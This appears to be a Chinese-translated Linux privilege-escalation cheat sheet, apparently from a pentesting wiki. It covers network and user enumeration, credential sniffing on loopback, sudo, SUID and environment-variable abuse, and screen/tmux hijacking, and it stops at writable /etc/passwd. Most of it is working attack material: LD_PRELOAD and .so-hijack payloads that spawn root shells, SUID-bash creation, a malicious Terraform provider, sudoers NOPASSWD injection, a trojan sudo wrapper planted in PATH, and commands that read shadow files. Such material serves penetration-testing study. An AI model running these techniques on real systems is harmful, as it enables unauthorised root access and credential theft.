在 /etc/dbus-1/system.d/wpa_supplicant.conf 中提供了此类策略的示例,详细说明了 root 用户对 fi.w1.wpa_supplicant1 的拥有、发送和接收消息的权限。
未指定用户或组的策略适用于所有主体,而 “default” 上下文策略适用于未被其他特定策略覆盖的所有对象。
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>
在这里学习如何 enumerate 和 exploit D-Bus 通信:
D-Bus Enumeration & Command Injection Privilege Escalation
网络
对网络进行 enumerate 并确定机器的位置总是很有趣。
Generic enumeration
#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname
#NSS resolution order (hosts file vs DNS)
grep -E '^(hosts|networks):' /etc/nsswitch.conf
getent hosts localhost
#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf
#Interfaces
cat /etc/networks
(ifconfig || ip a)
(ip -br addr || ip addr show)
#Routes and policy routing (pivot paths)
ip route
ip -6 route
ip rule
ip route get 1.1.1.1
#L2 neighbours
(arp -e || arp -a || ip neigh)
#Neighbours
(arp -e || arp -a)
(route || ip n)
#L2 topology (VLANs/bridges/bonds)
ip -d link
bridge link 2>/dev/null
#Network namespaces (hidden interfaces/routes in containers)
ip netns list 2>/dev/null
ls /var/run/netns/ 2>/dev/null
nsenter --net=/proc/1/ns/net ip a 2>/dev/null
#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)
#nftables and firewall wrappers (modern hosts)
sudo nft list ruleset 2>/dev/null
sudo nft list ruleset -a 2>/dev/null
sudo ufw status verbose 2>/dev/null
sudo firewall-cmd --state 2>/dev/null
sudo firewall-cmd --list-all 2>/dev/null
#Forwarding / asymmetric routing / conntrack state
sysctl net.ipv4.ip_forward net.ipv6.conf.all.forwarding net.ipv4.conf.all.rp_filter 2>/dev/null
sudo conntrack -L 2>/dev/null | head -n 20
#Files used by network services
lsof -i
出站过滤快速排查
如果主机可以运行命令但 callbacks 失败,请快速区分 DNS、transport、proxy 和 route filtering:
# DNS over UDP and TCP (TCP fallback often survives UDP/53 filters)
dig +time=2 +tries=1 @1.1.1.1 google.com A
dig +tcp +time=2 +tries=1 @1.1.1.1 google.com A
# Common outbound ports
for p in 22 25 53 80 443 587 8080 8443; do nc -vz -w3 example.org "$p"; done
# Route/path clue for 443 filtering
sudo traceroute -T -p 443 example.org 2>/dev/null || true
# Proxy-enforced environments and remote-DNS SOCKS testing
env | grep -iE '^(http|https|ftp|all)_proxy|no_proxy'
curl --socks5-hostname <ip>:1080 https://ifconfig.me
开放端口
始终检查在你访问该主机之前你无法与之交互的网络服务:
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
ss -tulpn
#Quick view of local bind addresses (great for hidden/isolated interfaces)
ss -tulpn | awk '{print $5}' | sort -u
Classify listeners by bind target:
0.0.0.0/[::]: 在所有本地接口上暴露。127.0.0.1/::1: 仅限本地(是很好的 tunnel/forward 候选)。- Specific internal IPs (e.g.
10.x,172.16/12,192.168.x,fe80::): 通常只能从内部网络段访问。
仅限本地服务的排查工作流程
当你攻陷一台主机时,绑定到 127.0.0.1 的服务通常会首次从你的 shell 可达。一个快速的本地工作流程是:
# 1) Find local listeners
ss -tulnp
# 2) Discover open localhost TCP ports
nmap -Pn --open -p- 127.0.0.1
# 3) Fingerprint only discovered ports
nmap -Pn -sV -p <ports> 127.0.0.1
# 4) Manually interact / banner grab
nc 127.0.0.1 <port>
printf 'HELP\r\n' | nc 127.0.0.1 <port>
LinPEAS 作为网络扫描器(仅网络模式)
除了本地 PE checks 外,linPEAS 可以作为一个专注的网络扫描器运行。它使用 $PATH 中可用的二进制程序(通常为 fping, ping, nc, ncat),并且不会安装任何额外工具。
# Auto-discover subnets + hosts + quick ports
./linpeas.sh -t
# Host discovery in CIDR
./linpeas.sh -d 10.10.10.0/24
# Host discovery + custom ports
./linpeas.sh -d 10.10.10.0/24 -p 22,80,443
# Scan one IP (default/common ports)
./linpeas.sh -i 10.10.10.20
# Scan one IP with selected ports
./linpeas.sh -i 10.10.10.20 -p 21,22,80,443
如果在没有使用 -t 的情况下传入 -d、-p 或 -i,linPEAS 会表现为一个纯网络扫描器(跳过其余的 privilege-escalation checks)。
Sniffing
检查是否可以 sniff traffic。如果可以,你可能能够抓取一些 credentials。
timeout 1 tcpdump
快速实用检查:
#Can I capture without full sudo?
which dumpcap && getcap "$(which dumpcap)"
#Find capture interfaces
tcpdump -D
ip -br addr
Loopback (lo) 在 post-exploitation 中尤其有价值,因为许多仅限内部访问的服务会在此暴露 tokens/cookies/credentials:
sudo tcpdump -i lo -s 0 -A -n 'tcp port 80 or 8000 or 8080' \
| egrep -i 'authorization:|cookie:|set-cookie:|x-api-key|bearer|token|csrf'
先捕获,稍后解析:
sudo tcpdump -i any -s 0 -n -w /tmp/capture.pcap
tshark -r /tmp/capture.pcap -Y http.request \
-T fields -e frame.time -e ip.src -e http.host -e http.request.uri
Users
Generic Enumeration
检查你是who,你拥有哪些privileges,系统中有哪些users,哪些可以login,以及哪些拥有root privileges:
#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
who
w
#Only usernames
users
#Login history
last | tail
#Last log of each user
lastlog2 2>/dev/null || lastlog
#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null
大 UID
某些 Linux 版本受一个漏洞影响,该漏洞允许 UID > INT_MAX 的用户提升权限。更多信息: here, here and here.
利用它 使用: systemd-run -t /bin/bash
组
检查你是否为某个可能授予你 root 权限的 某个组的成员:
Interesting Groups - Linux Privesc
剪贴板
如果可能,检查剪贴板中是否有任何有趣的内容
if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi
密码策略
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
已知密码
如果你知道环境中的任何密码,尝试使用该密码登录每个用户。
Su Brute
如果你不介意产生大量噪音并且计算机上存在 su 和 timeout 二进制文件,你可以尝试使用 su-bruteforce.
Linpeas 带 -a 参数也会尝试对用户进行暴力破解。
Writable PATH abuses
$PATH
如果你发现你可以写入 $PATH 的某个文件夹,你可能能够通过在可写文件夹中创建一个名为将由其他用户(理想情况是 root)执行的某个命令的 backdoor来提升权限,前提是该命令不会从位于你可写文件夹之前的文件夹加载。
SUDO and SUID
你可能被允许使用 sudo 执行某些命令,或者某些命令可能设置了 suid 位。使用以下命令检查:
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
一些 意想不到的命令允许你读取和/或写入文件,甚至执行命令。 例如:
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>
NOPASSWD
Sudo 配置可能允许某个用户在不知道密码的情况下,以另一个用户的权限执行某些命令。
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
在这个例子中,用户 demo 可以以 root 身份运行 vim,现在通过将 ssh key 添加到 root 目录或调用 sh 来获取一个 shell 变得非常简单。
sudo vim -c '!sh'
SETENV
此指令允许用户在执行某些操作时设置环境变量:
$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
此示例,基于 HTB machine Admirer,易受攻击,可被 PYTHONPATH hijacking 利用,在以 root 身份执行脚本时加载任意 python 库:
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
BASH_ENV 通过 sudo env_keep 保留 → root shell
如果 sudoers 保留了 BASH_ENV(例如 Defaults env_keep+="ENV BASH_ENV"),你可以利用 Bash 的非交互式启动行为,在调用被允许的命令时以 root 身份运行任意代码。
-
Why it works: 对于非交互式 shells,Bash 会评估
$BASH_ENV并在运行目标脚本前 source 那个文件。许多 sudo 规则允许运行脚本或 shell 包装器。如果BASH_ENV被 sudo 保留,你的文件会以 root 权限被 source。 -
Requirements:
-
一个你可以运行的 sudo 规则(任何以非交互方式调用
/bin/bash的目标,或任何 bash 脚本)。 -
BASH_ENV出现在env_keep中(用sudo -l检查)。 -
PoC:
cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash
# You should now have a root shell
- 加固:
- 从
env_keep中移除BASH_ENV(和ENV),优先使用env_reset。 - 避免为允许 sudo 的命令使用 shell 包装器;使用最小化的二进制程序。
- 考虑在保留环境变量被使用时对 sudo I/O 进行日志记录和告警。
Terraform 在通过 sudo 保留 HOME 的情况下 (!env_reset)
如果 sudo 在允许 terraform apply 的同时保持环境不变(!env_reset),那么 $HOME 将保持为调用用户。Terraform 因此会以 root 身份加载 $HOME/.terraformrc 并遵循 provider_installation.dev_overrides。
- 将所需的 provider 指向一个可写目录,并放置一个以 provider 名称命名的恶意插件(例如
terraform-provider-examples):
# ~/.terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/dev/shm"
}
direct {}
}
cat >/dev/shm/terraform-provider-examples <<'EOF'
#!/bin/bash
cp /bin/bash /var/tmp/rootsh
chown root:root /var/tmp/rootsh
chmod 6777 /var/tmp/rootsh
EOF
chmod +x /dev/shm/terraform-provider-examples
sudo /usr/bin/terraform -chdir=/opt/examples apply
Terraform 会在 Go plugin handshake 阶段失败,但在终止前会以 root 身份执行 payload,留下一个 SUID shell。
TF_VAR overrides + symlink validation bypass
Terraform 变量可以通过 TF_VAR_<name> 环境变量提供,当 sudo 保留环境时这些变量会存活。类似 strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..") 的弱校验可以被 symlinks 绕过:
mkdir -p /dev/shm/root/examples
ln -s /root/root.txt /dev/shm/root/examples/flag
TF_VAR_source_path=/dev/shm/root/examples/flag sudo /usr/bin/terraform -chdir=/opt/examples apply
cat /home/$USER/docker/previous/public/examples/flag
Terraform 解析 symlink 并将真实的 /root/root.txt 复制到攻击者可读的目标位置。相同的方法也可以通过预先创建目标 symlinks 来写入特权路径(例如,将 provider 的目标路径指向 /etc/cron.d/ 内)。
requiretty / !requiretty
在某些较旧的发行版中,sudo 可以通过 requiretty 配置,该配置强制 sudo 仅从交互式 TTY 运行。如果设置了 !requiretty(或该选项不存在),则可以在非交互式上下文(例如 reverse shells、cron jobs 或 scripts)中执行 sudo。
Defaults !requiretty
这本身不是直接的漏洞,但它扩大了在不需要完整 PTY 的情况下滥用 sudo 规则的情形。
Sudo env_keep+=PATH / insecure secure_path → PATH hijack
如果 sudo -l 显示 env_keep+=PATH 或 secure_path 包含可被攻击者写入的条目(例如 /home/<user>/bin),那么在 sudo 允许的目标中任何使用相对路径的命令都可能被覆盖。
- 要求:一个 sudo 规则(通常
NOPASSWD)运行一个脚本/二进制文件,该脚本/二进制在调用命令时未使用绝对路径(如free,df,ps等),并且存在一个被优先搜索且可写的 PATH 条目。
cat > ~/bin/free <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x ~/bin/free
sudo /usr/local/bin/system_status.sh # calls free → runs our trojan
bash -p # root shell via SUID bit
通过路径绕过 Sudo 执行
Jump 可以用来读取其他文件或使用 symlinks。例如在 sudoers 文件中: hacker10 ALL= (root) /bin/less /var/log/*
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file
如果使用 wildcard (*),那就更简单了:
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
缓解措施: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/
Sudo command/SUID binary 未指定命令路径
如果将 sudo 权限 授予单个命令 而未指定路径:hacker10 ALL= (root) less,你可以通过更改 PATH 变量来 exploit 它。
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
这项技术也可用于当一个 suid 二进制 执行另一个命令且未指定其路径(始终使用 strings 检查可疑 SUID 二进制的内容)。
SUID 二进制带命令路径
如果该 suid 二进制 执行另一个命令并指定了路径,那么,你可以尝试导出一个函数,其名称与 suid 文件所调用的命令相同。
例如,如果一个 suid 二进制调用 /usr/sbin/service apache2 start,你必须尝试创建该函数并导出它:
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
然后,当你调用 suid binary 时,这个函数将被执行
可写的 script 由 SUID wrapper 执行
一个常见的自定义应用错误配置是一个 root-owned SUID binary wrapper 用来执行一个 script,但该 script 本身可被 low-priv users 写入。
典型模式:
int main(void) {
system("/bin/bash /usr/local/bin/backup.sh");
}
如果 /usr/local/bin/backup.sh 是 writable,你可以追加 payload commands,然后执行 SUID wrapper:
echo 'cp /bin/bash /var/tmp/rootbash; chmod 4755 /var/tmp/rootbash' >> /usr/local/bin/backup.sh
/usr/local/bin/backup_wrap
/var/tmp/rootbash -p
快速检查:
find / -perm -4000 -type f 2>/dev/null
strings /path/to/suid_wrapper | grep -E '/bin/bash|\\.sh'
ls -l /usr/local/bin/backup.sh
This attack path is especially common in “maintenance”/“backup” wrappers shipped in /usr/local/bin。
LD_PRELOAD & LD_LIBRARY_PATH
LD_PRELOAD 环境变量用于指定一个或多个共享库(.so 文件),由加载器在其它库之前加载,包括标准 C 库(libc.so)。这个过程称为预加载库。
但是,为了维护系统安全并防止该功能被滥用,特别是针对 suid/sgid 可执行文件,系统会强制某些条件:
- 当可执行文件的真实用户 ID (ruid) 与有效用户 ID (euid) 不匹配时,加载器会忽略 LD_PRELOAD。
- 对于带有 suid/sgid 的可执行文件,只有位于标准路径且同样具有 suid/sgid 的库会被预加载。
如果你能够使用 sudo 执行命令,且 sudo -l 的输出包含语句 env_keep+=LD_PRELOAD,则可能发生权限提升。该配置允许 LD_PRELOAD 环境变量在通过 sudo 运行命令时得以保留并被识别,从而可能导致以提升的权限执行任意代码。
Defaults env_keep += LD_PRELOAD
保存为 /tmp/pe.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
然后 编译它 使用:
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
最后,运行 escalate privileges
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
Caution
如果攻击者能控制 LD_LIBRARY_PATH env variable,则可以滥用类似的 privesc,因为他能控制库的搜索路径。
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>
SUID Binary – .so injection
当遇到具有 SUID 权限且看起来异常的 binary 时,最好检查它是否正确加载 .so 文件。可以通过运行以下命令来检查:
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
例如,遇到像 “open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)” 这样的错误,意味着存在 exploitation 的可能性。
要 exploit 这一点,可以创建一个 C 文件,例如 “/path/to/.config/libcalc.c”,并包含以下代码:
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
这段代码在编译并执行后,旨在通过修改文件权限并执行一个具有更高权限的 shell 来提升权限。
用以下命令将上述 C 文件编译成共享对象 (.so) 文件:
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
最后,运行受影响的 SUID binary 应该会触发 exploit,从而可能导致系统被攻陷。
Shared Object Hijacking
# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so
# The SUID also loads libraries from a custom location where we can write
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
既然我们已经找到一个 SUID 二进制会从我们有写权限的文件夹加载库,现在在该文件夹里以所需的名称创建该库:
//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}
如果你遇到类似以下的错误:
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
that means that the library you have generated need to have a function called a_function_name.
GTFOBins
GTFOBins 是一个精心整理的 Unix 二进制列表,列出可以被攻击者利用以绕过本地安全限制的可利用方式。GTFOArgs 与之类似,但适用于只能在命令中注入参数的情况。
该项目收集了 Unix 二进制的合法功能,这些功能可以被滥用以逃离受限 shell、升级或保持提升的权限、传输文件、生成 bind 和 reverse shells,以及辅助其他 post-exploitation 任务。
gdb -nx -ex ‘!sh’ -ex quit
sudo mysql -e ‘! /bin/sh’
strace -o /dev/null /bin/sh
sudo awk ‘BEGIN {system(“/bin/sh”)}’
FallOfSudo
如果你可以运行 sudo -l,可以使用工具 FallOfSudo 来检查它是否能找到利用任何 sudo 规则的方法。
Reusing Sudo Tokens
在你有 sudo access 但没有密码的情况下,你可以通过等待 sudo 命令被执行然后劫持会话令牌来提升权限。
提权所需条件:
- 你已经以用户 “sampleuser” 拥有一个 shell
- “sampleuser” 在最近 15mins内使用过
sudo执行过某些操作(默认情况下这是 sudo 令牌允许我们在不输密码的情况下使用sudo的持续时间) cat /proc/sys/kernel/yama/ptrace_scope的值为 0gdb可用(你能够上传它)
(你可以临时启用 ptrace_scope:echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope,或通过永久修改 /etc/sysctl.d/10-ptrace.conf 并设置 kernel.yama.ptrace_scope = 0 实现)
如果满足所有这些条件,你可以使用: https://github.com/nongiach/sudo_inject 来提权
- 第一个 exploit(
exploit.sh)会在 /tmp 中创建二进制文件activate_sudo_token。你可以使用它来在你的会话中激活 sudo 令牌(你不会自动获得一个 root shell,执行sudo su):
bash exploit.sh
/tmp/activate_sudo_token
sudo su
- 第二个 exploit (
exploit_v2.sh) 会在 /tmp 创建一个由 root 拥有并带有 setuid 的 sh shell
bash exploit_v2.sh
/tmp/sh -p
- 第三个 exploit (
exploit_v3.sh) 会 创建一个 sudoers file,使 sudo tokens 永久有效并允许所有用户使用 sudo
bash exploit_v3.sh
sudo su
/var/run/sudo/ts/<Username>
如果你对该文件夹或其中任何已创建的文件拥有 写入权限,你可以使用二进制文件 write_sudo_token 来 为某个用户和 PID 创建 sudo 令牌。
例如,如果你可以覆盖文件 /var/run/sudo/ts/sampleuser,并且你以该用户的身份拥有 PID 为 1234 的 shell,你可以在不需要知道密码的情况下通过以下操作获取 sudo 权限:
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
/etc/sudoers, /etc/sudoers.d
文件 /etc/sudoers 以及 /etc/sudoers.d 目录下的文件配置了谁可以使用 sudo 以及如何使用。
这些文件默认只能由用户 root 和组 root 读取。
如果你能读取这个文件,你可能能够获取一些有趣的信息,而如果你能写入任何文件,你将能够escalate privileges。
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
如果你能写入,你就能滥用此权限
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
滥用这些权限的另一种方法:
# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
DOAS
有些可以替代 sudo 二进制的工具,例如 OpenBSD 的 doas,记得检查其配置文件 /etc/doas.conf。
permit nopass demo as root cmd vim
Sudo Hijacking
如果你知道某个用户通常连接到机器并使用 sudo 来提升权限,并且你已经在该用户上下文获得了一个 shell,你可以创建一个新的 sudo 可执行文件,它会以 root 身份先执行你的代码,然后再执行该用户的命令。然后,修改 $PATH 在该用户上下文中(例如在 .bash_profile 中添加新路径),这样当用户执行 sudo 时,将会执行你的 sudo 可执行文件。
注意,如果用户使用不同的 shell(不是 bash),你需要修改其他文件以添加新路径。例如sudo-piggyback 会修改 ~/.bashrc、~/.zshrc、~/.bash_profile。你可以在 bashdoor.py 中找到另一个示例。
或者运行类似的命令:
cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other
# From the victim
zsh
echo $PATH
sudo ls
共享库
ld.so
文件 /etc/ld.so.conf 指示了 加载的配置文件来自哪里。通常,这个文件包含如下路径: include /etc/ld.so.conf.d/*.conf
这意味着会读取 /etc/ld.so.conf.d/*.conf 中的配置文件。这些配置文件指向其他文件夹,系统将在这些文件夹中搜索库。例如,/etc/ld.so.conf.d/libc.conf 的内容是 /usr/local/lib。这就意味着系统会在 /usr/local/lib 中查找库。
如果出于某种原因某用户对以下任一路径具有写权限:/etc/ld.so.conf、/etc/ld.so.conf.d/、/etc/ld.so.conf.d/ 中的任意文件或 /etc/ld.so.conf.d/*.conf 中配置文件指向的任何文件夹,他可能能够提权。
请查看下面的页面,了解如何利用此错误配置:
RPATH
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
通过将 lib 复制到 /var/tmp/flag15/,程序会在该位置使用它,正如 RPATH 变量所指定的。
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
然后在 /var/tmp 中使用 gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6 创建一个恶意库。
#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
Capabilities
Linux capabilities 为进程提供可用 root 特权的 子集。这有效地将 root 特权分解为更小且独立的单元。这些单元可以独立地授予给进程。通过这种方式,整体特权集被缩减,从而降低被利用的风险。
阅读以下页面以 了解更多关于 capabilities 及如何滥用它们:
Directory permissions
在目录中,“execute” 位意味着受影响的用户可以 “cd” 进入该文件夹。
“read” 位意味着用户可以 list 该目录的 files,而 “write” 位意味着用户可以 delete 并 create 新的 files。
ACLs
Access Control Lists (ACLs) 表示可自由裁量权限的二级层,能够 覆盖传统的 ugo/rwx 权限。这些权限通过允许或拒绝对非所有者或非组成员的特定用户的访问权,从而增强了对文件或目录访问的控制。此级别的 细粒度确保了更精确的访问管理。更多细节见 here。
Give user “kali” read and write permissions over a file:
setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
setfacl -b file.txt #Remove the ACL of the file
获取 系统中具有特定 ACLs 的文件:
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
sudoers drop-ins 上的隐藏 ACL 后门
一种常见的错误配置是在 /etc/sudoers.d/ 中有一个归 root 所有、权限为 440 的文件,但通过 ACL 仍然授予低权限用户写权限。
ls -l /etc/sudoers.d/*
getfacl /etc/sudoers.d/<file>
如果你看到像 user:alice:rw- 这样的条目,用户可以在受限的权限位下追加 sudo 规则:
echo 'alice ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers.d/<file>
visudo -cf /etc/sudoers.d/<file>
sudo -l
这是一个高影响的 ACL persistence/privesc 路径,因为在仅通过 ls -l 查看时很容易被忽略。
Open shell sessions
在 旧版本 中,你可能可以 hijack 某个不同用户(root)的 shell session。
在 最新版本 中,你只能 connect 到属于 your own user 的 screen sessions。不过,你可能会在 session 内发现 interesting information inside the session。
screen sessions hijacking
列出 screen sessions
screen -ls
screen -ls <username>/ # Show another user' screen sessions
# Socket locations (some systems expose one as symlink of the other)
ls /run/screen/ /var/run/screen/ 2>/dev/null
.png)
附加到会话
screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]
tmux sessions hijacking
这是 old tmux versions 的一个问题。作为非特权用户,我无法劫持由 root 创建的 tmux (v2.1) 会话。
列出 tmux 会话
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess
.png)
附加到会话
tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself
ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
Check Valentine box from HTB for an example.
SSH
Debian OpenSSL Predictable PRNG - CVE-2008-0166
2006 年 9 月至 2008 年 5 月 13 日期间,在基于 Debian 的系统(Ubuntu、Kubuntu 等)上生成的所有 SSL 和 SSH 密钥可能受此漏洞影响。\ 该漏洞出现在这些操作系统创建新的 ssh key 时,原因是 只有 32,768 种可能的变体。这意味着可以枚举所有可能性,且 拥有 ssh public key 就可以搜索对应的 private key。可以在这里找到预计算的可能性:https://github.com/g0tmi1k/debian-ssh
SSH 有趣的配置值
- PasswordAuthentication: 指定是否允许 password authentication。默认是
no。 - PubkeyAuthentication: 指定是否允许 public key authentication。默认是
yes。 - PermitEmptyPasswords: 当允许 password authentication 时,指定服务器是否允许使用空密码字符串登录账户。默认是
no。
登录控制文件
这些文件影响谁可以登录以及如何登录:
/etc/nologin:如果存在,阻止非 root 登录并打印其消息。/etc/securetty:限制 root 可以从哪里登录(TTY 允许列表)。/etc/motd:登录后横幅(可能会 leak 环境或维护细节)。
PermitRootLogin
指定是否允许 root 使用 ssh 登录,默认是 no。可能的取值:
yes: root 可以使用 password 和 private key 登录without-passwordorprohibit-password: root 只能使用 private key 登录forced-commands-only: root 仅能使用 private key 登录,且必须指定 commands 选项no:不允许
AuthorizedKeysFile
指定包含可用于用户认证的 public keys 的文件。它可以包含像 %h 这样的占位符,%h 会被替换为用户的 home 目录。可以指定绝对路径(以 / 开头)或 从用户 home 的相对路径。例如:
AuthorizedKeysFile .ssh/authorized_keys access
该配置表明,如果你尝试使用用户 testusername 的 private key 登录,ssh 会将你的 public key 与存放在 /home/testusername/.ssh/authorized_keys 和 /home/testusername/access 的 key 进行比较。
ForwardAgent/AllowAgentForwarding
SSH agent forwarding 允许你 use your local SSH keys instead of leaving keys(不要把没有 passphrases 的 keys 放在你的 server 上)。因此,你可以通过 ssh jump 到一个 host,然后从那里 jump to another host,使用存放在你 initial host 上的 key。
你需要在 $HOME/.ssh.config 中设置此选项,如下:
Host example.com
ForwardAgent yes
注意,如果 Host 是 *,每次用户跳转到不同的机器时,该主机都会能够访问密钥(这是一个安全问题)。
文件 /etc/ssh_config 可以 覆盖 这些 选项 并允许或拒绝此配置。
文件 /etc/sshd_config 可以使用关键字 AllowAgentForwarding 允许或拒绝 ssh-agent forwarding(默认允许)。
如果你发现 Forward Agent 在某个环境中被配置,请阅读以下页面,因为 你可能能够滥用它来提权:
SSH Forward Agent exploitation
有趣的文件
配置文件
文件 /etc/profile 以及 /etc/profile.d/ 下的文件是 当用户运行新 shell 时执行的脚本。因此,如果你可以 写入或修改其中任何一个,你就可以提权。
ls -l /etc/profile /etc/profile.d/
如果发现任何奇怪的 profile 脚本,你应该检查它是否包含 敏感细节。
Passwd/Shadow 文件
根据操作系统,/etc/passwd 和 /etc/shadow 文件的名称可能不同,或者可能存在备份。因此建议 找到所有这些文件 并 检查是否可读,以查看文件中是否包含 hashes:
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
在某些情况下,你可以在 /etc/passwd(或等效)文件中找到 password hashes
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
可写的 /etc/passwd
首先,使用以下命令之一生成一个密码。
